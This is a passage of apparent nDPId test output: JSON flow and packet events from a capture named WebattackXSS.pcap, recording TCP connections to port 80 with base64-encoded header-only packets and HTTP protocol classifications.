+00433{"flow_id":554,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7847,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347912,"pkt_ts_usec":142123,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ASlAAD4GxK+sEAABwKgKMoTMAFAccoNpBg8\/nIAQAOW5MgAAAQEICgE8gkAD5lO0"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7855,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":555,"flow_packet_id":1,"flow_first_seen":1499347913416,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34010,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":555,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7855,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347913,"pkt_ts_usec":416547,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA80\/hAAD4G8desEAABwKgKMoTaAFDALVCHAAAAAKACchBEaQAAAgQFtAQCCAoBPIN\/AAAAAAEDAwc="} +00445{"flow_id":555,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7856,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347913,"pkt_ts_usec":416657,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhNreW6gWwC1QiKAScSBl\/AAAAgQFtAQCCAoD5lTzATyDfwEDAwc="} +00433{"flow_id":555,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7857,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347913,"pkt_ts_usec":417270,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00\/lAAD4G8d6sEAABwKgKMoTaAFDALVCI3luoF4AQAOUFBAAAAQEICgE8g38D5lTz"} +00435{"flow_id":552,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7862,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347913,"pkt_ts_usec":876833,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XLlAAD4GaR+sEAABwKgKMoSkAFDBACLEb\/fpE4ARAOVkKgAAAQEICgE8g\/ID5k\/o"} +00432{"flow_id":552,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7863,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347913,"pkt_ts_usec":877052,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0vHVAAEAGB2PAqAoyrBAAAQBQhKRv9+kTwQAixYARAONerQAAAQEICgPmVWYBPIPy"} +00434{"flow_id":552,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7864,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347913,"pkt_ts_usec":877603,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XLpAAD4GaR6sEAABwKgKMoSkAFDBACLFb\/fpFIAQAOVeqwAAAQEICgE8g\/ID5lVm"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7868,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":556,"flow_packet_id":1,"flow_first_seen":1499347914710,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34024,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":556,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7868,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347914,"pkt_ts_usec":710811,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8oQ5AAD4GJMKsEAABwKgKMoToAFDafCXMAAAAAKACchBThAAAAgQFtAQCCAoBPITCAAAAAAEDAwc="} +00444{"flow_id":556,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7869,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347914,"pkt_ts_usec":710961,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhOgBH2BK2nwlzaAScSCY3AAAAgQFtAQCCAoD5lY3ATyEwgEDAwc="} +00432{"flow_id":556,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7870,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347914,"pkt_ts_usec":711543,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0oQ9AAD4GJMmsEAABwKgKMoToAFDafCXNAR9gS4AQAOU34wAAAQEICgE8hMMD5lY3"} +00433{"flow_id":553,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7874,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347914,"pkt_ts_usec":877068,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/IBAAD4GyVesEAABwKgKMoSyAFC+M4PBf0EkCYARAOW5ZwAAAQEICgE8hOwD5lEz"} +00434{"flow_id":553,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7875,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347914,"pkt_ts_usec":877285,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0cmlAAEAGUW\/AqAoyrBAAAQBQhLJ\/QSQJvjODwoARAOO0OwAAAQEICgPmVmABPITs"} +00433{"flow_id":553,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7876,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347914,"pkt_ts_usec":878015,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0\/IFAAD4GyVasEAABwKgKMoSyAFC+M4PCf0EkCoAQAOW0OQAAAQEICgE8hOwD5lZg"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7883,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":514,"flow_packet_id":6,"flow_first_seen":1499347841229,"flow_last_seen":1499347846856,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33256,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7883,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":514,"flow_packet_id":6,"flow_first_seen":1499347841229,"flow_last_seen":1499347846856,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33256,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7883,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":515,"flow_packet_id":6,"flow_first_seen":1499347842491,"flow_last_seen":1499347847857,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33270,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7883,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":515,"flow_packet_id":6,"flow_first_seen":1499347842491,"flow_last_seen":1499347847857,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33270,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7883,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":516,"flow_packet_id":6,"flow_first_seen":1499347845077,"flow_last_seen":1499347850858,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33296,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7883,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":516,"flow_packet_id":6,"flow_first_seen":1499347845077,"flow_last_seen":1499347850858,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33296,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7883,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":517,"flow_packet_id":6,"flow_first_seen":1499347846345,"flow_last_seen":1499347851858,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33310,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7883,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":517,"flow_packet_id":6,"flow_first_seen":1499347846345,"flow_last_seen":1499347851858,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33310,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7883,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":518,"flow_packet_id":6,"flow_first_seen":1499347847629,"flow_last_seen":1499347852858,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33324,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7883,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":518,"flow_packet_id":6,"flow_first_seen":1499347847629,"flow_last_seen":1499347852858,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33324,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7883,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":519,"flow_packet_id":6,"flow_first_seen":1499347850209,"flow_last_seen":1499347855859,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33350,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7883,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":519,"flow_packet_id":6,"flow_first_seen":1499347850209,"flow_last_seen":1499347855859,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33350,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7883,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":520,"flow_packet_id":6,"flow_first_seen":1499347851476,"flow_last_seen":1499347856859,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33364,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7883,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":520,"flow_packet_id":6,"flow_first_seen":1499347851476,"flow_last_seen":1499347856859,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33364,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7886,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":557,"flow_packet_id":1,"flow_first_seen":1499347917322,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34050,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":557,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7886,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347917,"pkt_ts_usec":322932,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8CqdAAD4GuymsEAABwKgKMoUCAFC+4o3oAAAAAKACchAEWwAAAgQFtAQCCAoBPIdPAAAAAAEDAwc="} +00444{"flow_id":557,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7887,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347917,"pkt_ts_usec":323077,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhQJ4jpXCvuKN6aAScSCaPgAAAgQFtAQCCAoD5ljEATyHTwEDAwc="} +00432{"flow_id":557,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7888,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347917,"pkt_ts_usec":323785,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CqhAAD4GuzCsEAABwKgKMoUCAFC+4o3peI6Vw4AQAOU5RQAAAQEICgE8h1AD5ljE"} +00433{"flow_id":554,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7892,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347917,"pkt_ts_usec":876743,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ASpAAD4GxK6sEAABwKgKMoTMAFAccoNpBg8\/nIARAOWzlwAAAQEICgE8h9oD5lO0"} +00433{"flow_id":554,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7893,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347917,"pkt_ts_usec":876994,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ZtJAAEAGXQbAqAoyrBAAAQBQhMwGDz+cHHKDaoARAOOt\/gAAAQEICgPmWU4BPIfa"} +00434{"flow_id":554,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7894,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347917,"pkt_ts_usec":877513,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0AStAAD4GxK2sEAABwKgKMoTMAFAccoNqBg8\/nYAQAOWt\/AAAAQEICgE8h9oD5llO"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7898,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":558,"flow_packet_id":1,"flow_first_seen":1499347918608,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34064,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":558,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7898,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347918,"pkt_ts_usec":608238,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8vWVAAD4GCGusEAABwKgKMoUQAFB11zX0AAAAAKACchCkCgAAAgQFtAQCCAoBPIiRAAAAAAEDAwc="} +00444{"flow_id":558,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7899,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347918,"pkt_ts_usec":608380,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhRAjuy7Uddc19aAScSD0bgAAAgQFtAQCCAoD5loFATyIkQEDAwc="} +00432{"flow_id":558,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7900,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347918,"pkt_ts_usec":608938,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vWZAAD4GCHKsEAABwKgKMoUQAFB11zX1I7su1YAQAOWTdgAAAQEICgE8iJED5loF"} +00434{"flow_id":555,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7905,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347918,"pkt_ts_usec":877009,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00\/pAAD4G8d2sEAABwKgKMoTaAFDALVCI3luoF4ARAOX\/rQAAAQEICgE8iNQD5lTz"} +00432{"flow_id":555,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7906,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347918,"pkt_ts_usec":877194,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA08l9AAEAG0XjAqAoyrBAAAQBQhNreW6gXwC1QiYARAOP6WQAAAQEICgPmWkgBPIjU"} +00433{"flow_id":555,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7907,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347918,"pkt_ts_usec":877775,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00\/tAAD4G8dysEAABwKgKMoTaAFDALVCJ3luoGIAQAOX6VwAAAQEICgE8iNQD5lpI"} +00432{"flow_id":556,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7911,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347919,"pkt_ts_usec":877533,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0oRBAAD4GJMisEAABwKgKMoToAFDafCXNAR9gS4ARAOUy1wAAAQEICgE8ic4D5lY3"} +00433{"flow_id":556,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7912,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347919,"pkt_ts_usec":877784,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0OwlAAEAGiM\/AqAoyrBAAAQBQhOgBH2BL2nwlzoARAOMtzQAAAQEICgPmW0IBPInO"} +00432{"flow_id":556,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7913,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347919,"pkt_ts_usec":878311,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0oRFAAD4GJMesEAABwKgKMoToAFDafCXOAR9gTIAQAOUtywAAAQEICgE8ic4D5ltC"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7921,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":559,"flow_packet_id":1,"flow_first_seen":1499347921170,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34090,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":559,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7921,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347921,"pkt_ts_usec":170850,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8rYJAAD4GGE6sEAABwKgKMoUqAFCWpCaTAAAAAKACchCQBAAAAgQFtAQCCAoBPIsRAAAAAAEDAwc="} +00444{"flow_id":559,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7922,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347921,"pkt_ts_usec":170952,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhSrhgaXUlqQmlKAScSCpIAAAAgQFtAQCCAoD5lyGATyLEQEDAwc="} +00432{"flow_id":559,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7923,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347921,"pkt_ts_usec":171592,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rYNAAD4GGFWsEAABwKgKMoUqAFCWpCaU4YGl1YAQAOVIJwAAAQEICgE8ixID5lyG"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7930,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":560,"flow_packet_id":1,"flow_first_seen":1499347922471,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34104,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":560,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7930,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347922,"pkt_ts_usec":471645,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8+oRAAD4Gy0usEAABwKgKMoU4AFCzyHbTAAAAAKACchAhTAAAAgQFtAQCCAoBPIxXAAAAAAEDAwc="} 